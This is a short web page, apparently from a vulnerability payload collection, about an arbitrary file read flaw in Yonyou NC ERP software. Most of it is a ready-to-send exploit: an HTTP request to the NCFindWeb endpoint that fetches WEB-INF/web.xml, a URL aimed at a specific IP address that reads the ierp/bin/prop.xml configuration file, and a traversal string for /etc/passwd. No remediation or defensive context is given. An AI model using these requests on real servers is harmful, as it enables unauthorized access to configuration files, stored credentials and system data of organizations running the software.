跳到主要内容

用友NC任意文件读取

Yonyou NC Arbitrary File Include

GET /NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml HTTP/1.1
Host: 101.39.241.53:22
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip

http://101.39.241.53:22/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml

../../../../../etc/passwd

Yonyou NC Arbitrary File Include